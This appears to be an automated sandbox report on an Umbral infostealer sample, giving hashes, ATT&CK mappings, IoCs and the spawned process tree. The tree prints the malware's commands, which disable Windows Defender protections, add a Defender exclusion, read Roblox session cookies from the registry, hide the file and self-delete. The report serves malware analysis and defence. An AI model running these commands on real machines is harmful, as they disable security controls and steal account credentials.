umbral | 25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19

Analysis

max time kernel
33s
max time network
34s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
01-06-2024 11:21

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General

Target

ProjectExstracter.exe
Size

235KB
MD5

32099bdcf2a8c75821bc048193d3b1f5
SHA1

3a28da976bdb4f301dc94afcd0cf2ed60e0c0065
SHA256

25c02277f2a8d87c337a7ed145b3aebe37df66811b7fa9f158dfb09af777fd19
SHA512

e13e0c78cff7e9603c2cee4c720d5680c3ddbd0a21303dcd67733c06f284f7657cdfd10544e6cab470f4d92129a5e8c98684cb518b204ffcfba439249bcaa18c
SSDEEP

6144:TloZM+rIkd8g+EtXHkv/iD4agl0LxCqVYQhTuOLKDb8e1moiLiP:RoZtL+EP8agl0LxCqVYQhTuOLM3J

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4904-0-0x000001E3861F0000-0x000001E386230000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3504	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	ProjectExstracter.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	discord.com
27	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4288	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2036	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4904	ProjectExstracter.exe
3504	powershell.exe
3504	powershell.exe
1780	powershell.exe
1780	powershell.exe
5000	powershell.exe
5000	powershell.exe
4428	powershell.exe
4428	powershell.exe
588	powershell.exe
588	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4904	ProjectExstracter.exe
Token: SeIncreaseQuotaPrivilege	880	wmic.exe
Token: SeSecurityPrivilege	880	wmic.exe
Token: SeTakeOwnershipPrivilege	880	wmic.exe
Token: SeLoadDriverPrivilege	880	wmic.exe
Token: SeSystemProfilePrivilege	880	wmic.exe
Token: SeSystemtimePrivilege	880	wmic.exe
Token: SeProfSingleProcessPrivilege	880	wmic.exe
Token: SeIncBasePriorityPrivilege	880	wmic.exe
Token: SeCreatePagefilePrivilege	880	wmic.exe
Token: SeBackupPrivilege	880	wmic.exe
Token: SeRestorePrivilege	880	wmic.exe
Token: SeShutdownPrivilege	880	wmic.exe
Token: SeDebugPrivilege	880	wmic.exe
Token: SeSystemEnvironmentPrivilege	880	wmic.exe
Token: SeRemoteShutdownPrivilege	880	wmic.exe
Token: SeUndockPrivilege	880	wmic.exe
Token: SeManageVolumePrivilege	880	wmic.exe
Token: 33	880	wmic.exe
Token: 34	880	wmic.exe
Token: 35	880	wmic.exe
Token: 36	880	wmic.exe
Token: SeIncreaseQuotaPrivilege	880	wmic.exe
Token: SeSecurityPrivilege	880	wmic.exe
Token: SeTakeOwnershipPrivilege	880	wmic.exe
Token: SeLoadDriverPrivilege	880	wmic.exe
Token: SeSystemProfilePrivilege	880	wmic.exe
Token: SeSystemtimePrivilege	880	wmic.exe
Token: SeProfSingleProcessPrivilege	880	wmic.exe
Token: SeIncBasePriorityPrivilege	880	wmic.exe
Token: SeCreatePagefilePrivilege	880	wmic.exe
Token: SeBackupPrivilege	880	wmic.exe
Token: SeRestorePrivilege	880	wmic.exe
Token: SeShutdownPrivilege	880	wmic.exe
Token: SeDebugPrivilege	880	wmic.exe
Token: SeSystemEnvironmentPrivilege	880	wmic.exe
Token: SeRemoteShutdownPrivilege	880	wmic.exe
Token: SeUndockPrivilege	880	wmic.exe
Token: SeManageVolumePrivilege	880	wmic.exe
Token: 33	880	wmic.exe
Token: 34	880	wmic.exe
Token: 35	880	wmic.exe
Token: 36	880	wmic.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeIncreaseQuotaPrivilege	2392	wmic.exe
Token: SeSecurityPrivilege	2392	wmic.exe
Token: SeTakeOwnershipPrivilege	2392	wmic.exe
Token: SeLoadDriverPrivilege	2392	wmic.exe
Token: SeSystemProfilePrivilege	2392	wmic.exe
Token: SeSystemtimePrivilege	2392	wmic.exe
Token: SeProfSingleProcessPrivilege	2392	wmic.exe
Token: SeIncBasePriorityPrivilege	2392	wmic.exe
Token: SeCreatePagefilePrivilege	2392	wmic.exe
Token: SeBackupPrivilege	2392	wmic.exe
Token: SeRestorePrivilege	2392	wmic.exe
Token: SeShutdownPrivilege	2392	wmic.exe
Token: SeDebugPrivilege	2392	wmic.exe
Token: SeSystemEnvironmentPrivilege	2392	wmic.exe
Token: SeRemoteShutdownPrivilege	2392	wmic.exe
Token: SeUndockPrivilege	2392	wmic.exe
Token: SeManageVolumePrivilege	2392	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 880	4904	ProjectExstracter.exe	83
PID 4904 wrote to memory of 880	4904	ProjectExstracter.exe	83
PID 4904 wrote to memory of 3240	4904	ProjectExstracter.exe	88
PID 4904 wrote to memory of 3240	4904	ProjectExstracter.exe	88
PID 4904 wrote to memory of 3504	4904	ProjectExstracter.exe	90
PID 4904 wrote to memory of 3504	4904	ProjectExstracter.exe	90
PID 4904 wrote to memory of 1780	4904	ProjectExstracter.exe	92
PID 4904 wrote to memory of 1780	4904	ProjectExstracter.exe	92
PID 4904 wrote to memory of 5000	4904	ProjectExstracter.exe	94
PID 4904 wrote to memory of 5000	4904	ProjectExstracter.exe	94
PID 4904 wrote to memory of 4428	4904	ProjectExstracter.exe	96
PID 4904 wrote to memory of 4428	4904	ProjectExstracter.exe	96
PID 4904 wrote to memory of 2392	4904	ProjectExstracter.exe	100
PID 4904 wrote to memory of 2392	4904	ProjectExstracter.exe	100
PID 4904 wrote to memory of 4380	4904	ProjectExstracter.exe	102
PID 4904 wrote to memory of 4380	4904	ProjectExstracter.exe	102
PID 4904 wrote to memory of 432	4904	ProjectExstracter.exe	105
PID 4904 wrote to memory of 432	4904	ProjectExstracter.exe	105
PID 4904 wrote to memory of 588	4904	ProjectExstracter.exe	107
PID 4904 wrote to memory of 588	4904	ProjectExstracter.exe	107
PID 4904 wrote to memory of 4288	4904	ProjectExstracter.exe	109
PID 4904 wrote to memory of 4288	4904	ProjectExstracter.exe	109
PID 4904 wrote to memory of 2452	4904	ProjectExstracter.exe	112
PID 4904 wrote to memory of 2452	4904	ProjectExstracter.exe	112
PID 2452 wrote to memory of 2036	2452	cmd.exe	114
PID 2452 wrote to memory of 2036	2452	cmd.exe	114

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3240	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ProjectExstracter.exe
"C:\Users\Admin\AppData\Local\Temp\ProjectExstracter.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:880
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\ProjectExstracter.exe"
  2⤵
  - Views/modifies file attributes
  PID:3240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ProjectExstracter.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4428
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4380
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\ProjectExstracter.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cf1b06b44fb8bc1a4f25c85e70937782

SHA1
c4adeae41a97fc11d407c398040dd109873fb2e5

SHA256
04ddc18714503a6c256830af58a731df9d9ad479e87663787e0fa92424c9b743

SHA512
07fcfc741b14ef3551fdc53a08e31020fd9e1d43ab637535a11e318c9f8d48ea37cae3913539838e74299952a868a7824982ad5dc887992686d45050cc1fc7cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avkdlp4d.u3v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3504-4-0x00007FF98D980000-0x00007FF98E441000-memory.dmp

Filesize
10.8MB

Download
memory/3504-15-0x00007FF98D980000-0x00007FF98E441000-memory.dmp

Filesize
10.8MB

Download
memory/3504-14-0x0000026011CF0000-0x0000026011D12000-memory.dmp

Filesize
136KB

Download
memory/3504-18-0x000002602A660000-0x000002602A7CA000-memory.dmp

Filesize
1.4MB

Download
memory/3504-19-0x00007FF98D980000-0x00007FF98E441000-memory.dmp

Filesize
10.8MB

Download
memory/3504-3-0x00007FF98D980000-0x00007FF98E441000-memory.dmp

Filesize
10.8MB

Download
memory/4904-1-0x00007FF98D983000-0x00007FF98D985000-memory.dmp

Filesize
8KB

Download
memory/4904-35-0x000001E3A09D0000-0x000001E3A0A20000-memory.dmp

Filesize
320KB

Download
memory/4904-36-0x000001E3A0660000-0x000001E3A067E000-memory.dmp

Filesize
120KB

Download
memory/4904-0-0x000001E3861F0000-0x000001E386230000-memory.dmp

Filesize
256KB

Download
memory/4904-34-0x000001E3A0950000-0x000001E3A09C6000-memory.dmp

Filesize
472KB

Download
memory/4904-73-0x000001E3A08E0000-0x000001E3A08EA000-memory.dmp

Filesize
40KB

Download
memory/4904-74-0x000001E3A0910000-0x000001E3A0922000-memory.dmp

Filesize
72KB

Download
memory/4904-2-0x00007FF98D980000-0x00007FF98E441000-memory.dmp

Filesize
10.8MB

Download
memory/4904-92-0x00007FF98D980000-0x00007FF98E441000-memory.dmp

Filesize
10.8MB

Download
memory/5000-60-0x0000021A1CE70000-0x0000021A1D08C000-memory.dmp

Filesize
2.1MB

Download